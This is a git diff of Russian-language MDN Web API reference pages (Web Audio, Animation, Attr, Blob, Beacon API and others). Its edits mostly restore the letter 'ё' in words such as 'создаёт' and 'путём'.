            Код воркера загружается из файла "worker.js". В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная first. Для события {{domxref("change")}} элемента создается обработчик, поэтому когда пользователь изменяет значение для first, отправляется сообщение в воркер для уведомления его об данных изменениях.

            +

            Код воркера загружается из файла "worker.js". В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная first. Для события {{domxref("change")}} элемента создаётся обработчик, поэтому когда пользователь изменяет значение для first, отправляется сообщение в воркер для уведомления его об данных изменениях.

            Вы можете найти больше примеров в репозитории MDN Web Docs на GitHub:

            diff --git a/files/ru/web/api/ambient_light_events/index.html b/files/ru/web/api/ambient_light_events/index.html index 61b79484e6..c992706006 100644 --- a/files/ru/web/api/ambient_light_events/index.html +++ b/files/ru/web/api/ambient_light_events/index.html @@ -2,20 +2,20 @@ title: Ambient Light Events slug: Web/API/Ambient_Light_Events tags: - - Освещенность + - Освещённость translation_of: Web/API/Ambient_Light_Events ---
            {{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
            -

            События "окружающего света" -  удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путем изменения цветового контраста пользовательского интерфейса (UI) или путем изменения экспозиции, необходимой для фотографирования.

            +

            События "окружающего света" -  удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путём изменения цветового контраста пользовательского интерфейса (UI) или путём изменения экспозиции, необходимой для фотографирования.

            Световые события

            -

            Когда датчик света устройства обнаруживает изменение уровня освещенности, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.

            +

            Когда датчик света устройства обнаруживает изменение уровня освещённости, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.

            -

            Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}}  (используя имя события {{event("devicelight")}} ) или путем присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.

            +

            Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}}  (используя имя события {{event("devicelight")}} ) или путём присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.

            -

            После того, как захвачен объект события дает доступ к интенсивности света, выраженного в lux через свойство {{domxref("DeviceLightEvent.value")}}.

            +

            После того, как захвачен объект события даёт доступ к интенсивности света, выраженного в lux через свойство {{domxref("DeviceLightEvent.value")}}.

            Пример

            diff --git a/files/ru/web/api/analysernode/getbytefrequencydata/index.html b/files/ru/web/api/analysernode/getbytefrequencydata/index.html index c042694040..94309ba833 100644 --- a/files/ru/web/api/analysernode/getbytefrequencydata/index.html +++ b/files/ru/web/api/analysernode/getbytefrequencydata/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/AnalyserNode/getByteFrequencyData

            Данные частоты состоят из целых чисел по шкале от 0 до 255.

            -

            Каждый элемент в массиве представляет собой значение в децибелах для определенной частоты. Частоты распределены линейно от 0 до 1/2 частоты дискретизации. Например, для частоты дискретизации 48000 последний элемент массива будет представлять значение в децибелах для 24000 Гц.

            +

            Каждый элемент в массиве представляет собой значение в децибелах для определённой частоты. Частоты распределены линейно от 0 до 1/2 частоты дискретизации. Например, для частоты дискретизации 48000 последний элемент массива будет представлять значение в децибелах для 24000 Гц.

            Если в массиве меньше элементов, чем в {{domxref("AnalyserNode.frequencyBinCount")}}, лишние элементы удаляются. Если в нем больше элементов, чем необходимо, лишние элементы игнорируются.

            diff --git a/files/ru/web/api/angle_instanced_arrays/index.html b/files/ru/web/api/angle_instanced_arrays/index.html index 558e053527..3f769d4c64 100644 --- a/files/ru/web/api/angle_instanced_arrays/index.html +++ b/files/ru/web/api/angle_instanced_arrays/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/ANGLE_instanced_arrays

            Behaves identically to {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} except that multiple instances of the range of elements are executed, and the instance advances for each iteration.

            {{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}
            -
            Ведет себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором
            +
            Ведёт себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором
            {{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}

            Изменяет скорость продвижения общих атрибутов вершин при визуализации нескольких экземпляров примитивов с помощью {{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}} и {{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}.

            @@ -67,7 +67,7 @@ translation_of: Web/API/ANGLE_instanced_arrays

            Совместимость браузеров

            - +

            {{Compat("api.ANGLE_instanced_arrays")}}

            diff --git a/files/ru/web/api/animation/index.html b/files/ru/web/api/animation/index.html index d1deb15f99..fbe650d434 100644 --- a/files/ru/web/api/animation/index.html +++ b/files/ru/web/api/animation/index.html @@ -11,33 +11,33 @@ translation_of: Web/API/Animation
            {{domxref("Animation.Animation()", "Animation()")}}
            -
            Создает новый экземпляр объекта Animation.
            +
            Создаёт новый экземпляр объекта Animation.

            Свойства

            {{domxref("Animation.currentTime")}}
            -
            Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или еще не воспроизведена, то это значение равно нулю.
            +
            Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или ещё не воспроизведена, то это значение равно нулю.
            {{domxref("Animation.effect")}}
            -
            Возвращает и задает {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.
            +
            Возвращает и задаёт {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.
            {{domxref("Animation.finished")}} {{readOnlyInline}}
            -
            Возвращает текущее завершенное Promise(обещание) для этой анимации.
            +
            Возвращает текущее завершённое Promise(обещание) для этой анимации.
            {{domxref("Animation.id")}}
            -
            Возвращает и задает String(строку), используемую для идентификации анимации.
            +
            Возвращает и задаёт String(строку), используемую для идентификации анимации.
            {{domxref("Animation.playState")}} {{readOnlyInline}}
            Возвращает перечисляемое значение, описывающее состояние воспроизведения анимации.
            {{domxref("Animation.playbackRate")}}
            -
            Возвращает или задает скорость воспроизведения анимации.
            +
            Возвращает или задаёт скорость воспроизведения анимации.
            @@ -47,21 +47,21 @@ translation_of: Web/API/Animation
            {{domxref("Animation.startTime")}}
            -
            Возвращает или задает начало выполнения анимации.
            +
            Возвращает или задаёт начало выполнения анимации.
            {{domxref("Animation.timeline")}}
            -
            Возвращает или задает {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.
            +
            Возвращает или задаёт {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.

            Обработчики событий

            {{domxref("Animation.oncancel")}}
            -
            Возвращает и задает обработчик событий для отмены события.
            +
            Возвращает и задаёт обработчик событий для отмены события.
            {{domxref("Animation.onfinish")}}
            -
            Возвращает и задает обработчик событий для завершения события.
            +
            Возвращает и задаёт обработчик событий для завершения события.

            Методы

            @@ -70,7 +70,7 @@ translation_of: Web/API/Animation
            {{domxref("Animation.cancel()")}}
            Очищает все {{domxref("KeyframeEffect", "keyframeEffects")}} вызванные этой анимацией и прекращает его выполнение.
            {{domxref("animation.commitStyles()")}}
            -
            Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведет к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.
            +
            Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведёт к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.
            @@ -94,7 +94,7 @@ translation_of: Web/API/Animation
            {{domxref("Animation.reverse()")}}
            Меняет направление воспроизведения, останавливаясь в начале анимации. Если анимация закончена или не запущена, то будет проигрываться с конца к началу.
            {{domxref("Animation.updatePlaybackRate()")}}
            -
            Задает скорость анимации после синхронизации ее положения воспроизведения.
            +
            Задаёт скорость анимации после синхронизации её положения воспроизведения.

            Спецификации

            diff --git a/files/ru/web/api/attr/index.html b/files/ru/web/api/attr/index.html index 303090a17a..c8e1ce971a 100644 --- a/files/ru/web/api/attr/index.html +++ b/files/ru/web/api/attr/index.html @@ -17,23 +17,23 @@ translation_of: Web/API/Attr
            {{domxref("Attr.name", "name")}} {{readOnlyInline}}
            Имя атрибута.
            {{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}
            -
            {{domxref("DOMString")}} представление URI пространства имен атрибута, или NULL если нет никакого пространства имен.
            +
            {{domxref("DOMString")}} представление URI пространства имён атрибута, или NULL если нет никакого пространства имен.
            {{domxref("Attr.localName", "localName")}} {{readOnlyInline}}
            {{domxref("DOMString")}}  представление локальной части полного имени атрибута.
            {{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}
            -
            {{domxref("DOMString")}}  представление префикс пространства имен атрибута, или NULL, если префикс не указан.
            +
            {{domxref("DOMString")}}  представление префикс пространства имён атрибута, или NULL, если префикс не указан.
            {{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}

            Элемент, содержащий атрибут.

            -

            Примечание: DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент.  Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым  {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввел это свойство. 

            +

            Примечание: DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент.  Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым  {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввёл это свойство. 

            Gecko выводит предупреждение об использовании, начиная с Gecko 7.0 {{geckoRelease("7.0")}}. Это предупреждение было удалено в Gecko 49.0 (Firefox 49.0 / Thunderbird 49.0 / SeaMonkey 2.46).

            {{domxref("Attr.specified", "specified")}} {{readOnlyInline}}
            -
            Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определен в исходном коде или сценарием и false, если ее значение прибыло из значения по умолчанию  определенном в DTD документе.
            +
            Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определён в исходном коде или сценарием и false, если её значение прибыло из значения по умолчанию  определённом в DTD документе.
            {{domxref("Attr.value", "value")}}
            Значение атрибута
            @@ -74,7 +74,7 @@ translation_of: Web/API/Attr
            previousSibling
            Это свойство всегда возвращает значение  NULL.
            schemaTypeInfo {{obsolete_inline}} {{readOnlyInline}}
            -
            Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова  {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадежным, если узел был перемещен.
            +
            Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова  {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадёжным, если узел был перемещен.
             
            specified
            Это свойство всегда возвращает значение  true.
            diff --git a/files/ru/web/api/audiobuffer/index.html b/files/ru/web/api/audiobuffer/index.html index b2972a1f78..f2d6e5e0e4 100644 --- a/files/ru/web/api/audiobuffer/index.html +++ b/files/ru/web/api/audiobuffer/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/AudioBuffer

            Сводка

            -

            AudioBuffer - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в  {{ domxref("AudioBufferSourceNode") }}.

            +

            AudioBuffer - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещённые в AudioBuffer звуковые данные могут быть воспроизведены в  {{ domxref("AudioBufferSourceNode") }}.

            Объекты этого типа предназначены для хранения небольших звуковых фрагментов, обычно менее 45 секунд. Для более длинных звуков, объекты реализующие {{domxref("MediaElementAudioSourceNode")}} являются более подходящими. Этот буфер содержит данные в формате неперемещаемого IEE754 32-битного линейного ИКМ с номинальным диапазоном от -1 до +1, то есть 32-битный буфер с плавающей точкой каждого звукового фрагмента (samples) от -1.0 до 1.0. Если {{domxref("AudioBuffer")}} имеет несколько каналов, то они хранятся в отдельном буфере.

            @@ -17,7 +17,7 @@ translation_of: Web/API/AudioBuffer
            {{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}
            -
            Создает и возвращает новый объект AudioBuffer.
            +
            Создаёт и возвращает новый объект AudioBuffer.

            Свойства

            @@ -49,7 +49,7 @@ translation_of: Web/API/AudioBuffer 
            // Стерео
 var channels = 2;
 
-// Создает пустой двухсекундный стерео-буфер
+// Создаёт пустой двухсекундный стерео-буфер
 // с частотой звука AudioContext (sample rate)
 var frameCount = audioCtx.sampleRate * 2.0;
 var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
diff --git a/files/ru/web/api/audiocontext/createmediaelementsource/index.html b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
index 87e504f6c6..6693ef14dc 100644
--- a/files/ru/web/api/audiocontext/createmediaelementsource/index.html
+++ b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
@@ -42,11 +42,11 @@ var myScript = document.querySelector('script');
 
 pre.innerHTML = myScript.innerHTML;
 
-// Создаем MediaElementAudioSourceNode
+// Создаём MediaElementAudioSourceNode
 // На основе HTMLMediaElement
 var source = audioCtx.createMediaElementSource(myAudio);
 
-// Создаем узел контроля громкости (усиления)
+// Создаём узел контроля громкости (усиления)
 var gainNode = audioCtx.createGain();
 
 // Переменные, содержащие Y координату курсора мыши
diff --git a/files/ru/web/api/audiocontext/index.html b/files/ru/web/api/audiocontext/index.html
index 17b32839d0..ad057ccfe6 100644
--- a/files/ru/web/api/audiocontext/index.html
+++ b/files/ru/web/api/audiocontext/index.html
@@ -66,7 +66,7 @@ translation_of: Web/API/AudioContext
  
            {{domxref("AudioContext.createOscillator()")}}
            
  
            Создаёт объект {{domxref("OscillatorNode")}}, источник, представляющий собой периодическую волну звукового сигнала.
            
  
            {{domxref("AudioContext.createPanner()")}}
            
- 
            Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трехмерном пространстве.
            
+ 
            Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трёхмерном пространстве.
            
  
            {{domxref("AudioContext.createPeriodicWave()")}}
            
  
            Создаёт объект {{domxref("PeriodicWave")}}, используемый для определения периодической волны звукового сигнала, которая, в свою очередь, используется для определения вывода в {{ domxref("OscillatorNode") }}.
            
  
            {{domxref("AudioContext.createWaveShaper()")}}
            
diff --git a/files/ru/web/api/audionode/index.html b/files/ru/web/api/audionode/index.html
index f4b7693230..57b2f450a2 100644
--- a/files/ru/web/api/audionode/index.html
+++ b/files/ru/web/api/audionode/index.html
@@ -4,7 +4,7 @@ slug: Web/API/AudioNode
 translation_of: Web/API/AudioNode
 ---
 
            {{ APIRef("Web Audio API") }}
            
- AudioNode это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приемники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). 
            
+ AudioNode это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приёмники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). 
            
 
 
            AudioNodes participating in an AudioContext create a audio routing graph.
            
 
@@ -25,7 +25,7 @@ translation_of: Web/API/AudioNode
 
 
            
  
            {{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}
            
- 
            Возвращает количество входов узла. Узлы определенные как источники имеют numberOfInputs равное 0.
            
+ 
            Возвращает количество входов узла. Узлы определённые как источники имеют numberOfInputs равное 0.
            
 
            
 
 
            
@@ -56,7 +56,7 @@ translation_of: Web/API/AudioNode
  
            {{domxref("AudioNode.connect(AudioParam)")}}
            
  
            Позволяет нам подключить один выход данного узла на параметрический вход другого.
            
  
            {{domxref("AudioNode.disconnect()")}}
            
- 
            Позволяет нам отключить текущий узел от другого, уже подключенного узла.
            
+ 
            Позволяет нам отключить текущий узел от другого, уже подключённого узла.
            
 
            
 
 
            Примеры
            
diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html
index f60d3e7d99..202e13d971 100644
--- a/files/ru/web/api/audioparam/setvalueattime/index.html
+++ b/files/ru/web/api/audioparam/setvalueattime/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/AudioParam/setValueAtTime
 ---
 
            {{ APIRef("Web Audio API") }}
            
 
-
            setValueAtTime() метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение AudioParam , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение дается в значении параметра.
            
+
            setValueAtTime() метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение AudioParam , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение даётся в значении параметра.
            
 
 
            Синтаксис
            
 
diff --git a/files/ru/web/api/baseaudiocontext/createpanner/index.html b/files/ru/web/api/baseaudiocontext/createpanner/index.html
index 83a8089d44..9d4161e184 100644
--- a/files/ru/web/api/baseaudiocontext/createpanner/index.html
+++ b/files/ru/web/api/baseaudiocontext/createpanner/index.html
@@ -24,13 +24,13 @@ var panner = audioCtx.createPanner();

            Пример

            -
            Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода createPanner() для управления пространством объемного звука. Обычно определяется положение в трехмерном пространстве, изначально занимаемое обработчиком (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями moveRight(), moveLeft(), и т.п., которые устанавливают новые значения для положения паннера через функцию PositionPanner().
            +
            Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода createPanner() для управления пространством объёмного звука. Обычно определяется положение в трёхмерном пространстве, изначально занимаемое обработчиком (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями moveRight(), moveLeft(), и т.п., которые устанавливают новые значения для положения паннера через функцию PositionPanner().
             
            -
            Чтобы увидеть полную реализацию ознакомьтесь с нашим примером panner-node (просмотрите весь список примеров) — эта демонстрация перенесет вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на бумбоксе и затем походить вокруг него и посмотреть как изменяется звук!
            +
            Чтобы увидеть полную реализацию ознакомьтесь с нашим примером panner-node (просмотрите весь список примеров) — эта демонстрация перенесёт вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на бумбоксе и затем походить вокруг него и посмотреть как изменяется звук!
             
            diff --git a/files/ru/web/api/beacon_api/index.html b/files/ru/web/api/beacon_api/index.html index 984c00117d..1e33abb3df 100644 --- a/files/ru/web/api/beacon_api/index.html +++ b/files/ru/web/api/beacon_api/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Beacon_API

            Например, вариантом использования Beacon API может быть логирование активности или отправка аналитики на сервер.

            -

            Пример кода интерфейсов, описанных в этом документе, включен в раздел Использование Beacon API.

            +

            Пример кода интерфейсов, описанных в этом документе, включён в раздел Использование Beacon API.

            @@ -23,11 +23,11 @@ translation_of: Web/API/Beacon_API

            Интерфейс Beacon отвечает потребностям аналитического и диагностического кода, который обычно пытается отправить данные на веб-сервер перед выгрузкой документа. Отправка данных хоть на секунду раньше может привести к упущенной возможности сбора данных. В любом случае, обеспечение того, чтобы данные отправлялись во время выгрузки документа, является чем-то, что традиционно было трудным для разработчиков.

            -

            Пользовательские браузеры обычно игнорируют асинхронные  {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создает синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. 

            +

            Пользовательские браузеры обычно игнорируют асинхронные  {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создаёт синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. 

            -

            Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путем создания элемента Image и установки его атрибута src в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который  в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.

            +

            Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путём создания элемента Image и установки его атрибута src в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который  в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.

            -

            Эти методы представляют плохие шаблоны программирования, некоторые из них ненадежны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.

            +

            Эти методы представляют плохие шаблоны программирования, некоторые из них ненадёжны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.

            Глобальный контекст

            diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html index a9359fddfe..ab241f8f1d 100644 --- a/files/ru/web/api/beforeinstallpromptevent/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/BeforeInstallPromptEvent
            {{domxref("BeforeInstallPromptEvent.BeforeInstallPromptEvent","BeforeInstallPromptEvent()")}}
            -
            Создает новый BeforeInstallPromptEvent.
            +
            Создаёт новый BeforeInstallPromptEvent.

            Свойства

            diff --git a/files/ru/web/api/blob/blob/index.html b/files/ru/web/api/blob/blob/index.html index b1ed2d7bc1..6969b073ff 100644 --- a/files/ru/web/api/blob/blob/index.html +++ b/files/ru/web/api/blob/blob/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Blob/Blob ---

            {{APIRef("File API")}}

            -

            Конструктор Blob() возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединенных значений, переданных в параметре array.

            +

            Конструктор Blob() возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединённых значений, переданных в параметре array.

            Синтаксис

            diff --git a/files/ru/web/api/blob/index.html b/files/ru/web/api/blob/index.html index a256ce6a5f..445e8da297 100644 --- a/files/ru/web/api/blob/index.html +++ b/files/ru/web/api/blob/index.html @@ -73,7 +73,7 @@ var myBlob = builder.getBlob('text/xml');

            Создание URL для содержимого типизированного массива

            -

            Следующий код создает типизированный массив JavaScript и создает новый Blob, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.

            +

            Следующий код создаёт типизированный массив JavaScript и создаёт новый Blob, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.

            HTML

            @@ -84,7 +84,7 @@ var myBlob = builder.getBlob('text/xml');

            JavaScript

            -

            Основной частью этого кода для примера является функция typedArrayToURL(), которая создает Blob из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).

            +

            Основной частью этого кода для примера является функция typedArrayToURL(), которая создаёт Blob из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).

            function typedArrayToURL(typedArray, mimeType) {
   return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
diff --git a/files/ru/web/api/blob/slice/index.html b/files/ru/web/api/blob/slice/index.html
index f0e5eaf4df..384577a82c 100644
--- a/files/ru/web/api/blob/slice/index.html
+++ b/files/ru/web/api/blob/slice/index.html
@@ -17,9 +17,9 @@ translation_of: Web/API/Blob/slice
 
 
            
  
            start {{optional_inline}}
            
- 
            Индекс в {{domxref("Blob")}} указывающий первый байт, включенный в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение start, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.
            
+ 
            Индекс в {{domxref("Blob")}} указывающий первый байт, включённый в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение start, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.
            
  
            end {{optional_inline}}
            
- 
            Индекс в {{domxref("Blob")}} указывающий первый байт, который не будет включен в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включен). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно size.
            
+ 
            Индекс в {{domxref("Blob")}} указывающий первый байт, который не будет включён в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включён). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно size.
            
  
            contentType {{optional_inline}}
            
  
            Тип содержимого нового {{domxref("Blob")}}; это будет значение его свойства type. Значение по умолчанию - пустая строка.
            
 
            
diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html
index f99ea7c5c1..3f5fad78b7 100644
--- a/files/ru/web/api/bluetoothremotegattserver/index.html
+++ b/files/ru/web/api/bluetoothremotegattserver/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/BluetoothRemoteGATTServer
 ---
 
            {{APIRef("Bluetooth API")}}{{SeeCompatTable}}
            
 
-
            Интерфейс BluetoothRemoteGATTServer, относящийся к Web Bluetooth API, представляет сервер GATT на удаленном устройстве.
            
+
            Интерфейс BluetoothRemoteGATTServer, относящийся к Web Bluetooth API, представляет сервер GATT на удалённом устройстве.
            
 
 
            
 
            Данная страница описывает Web Bluetooth API от W3C Community Group. BluetoothGattServer (Firefox OS) - Bluetooth API в Firefox OS.
            
diff --git a/files/ru/web/api/body/arraybuffer/index.html b/files/ru/web/api/body/arraybuffer/index.html
index 7aff670eb7..31402b8a22 100644
--- a/files/ru/web/api/body/arraybuffer/index.html
+++ b/files/ru/web/api/body/arraybuffer/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Body/arrayBuffer
 ---
 
            {{APIRef("Fetch")}}
            
 
-
            Метод arrayBuffer() из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промис, который будет успешно завершен с помощью {{domxref("ArrayBuffer")}}.
            
+
            Метод arrayBuffer() из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промис, который будет успешно завершён с помощью {{domxref("ArrayBuffer")}}.
            
 
 
            Синтаксис
            
 
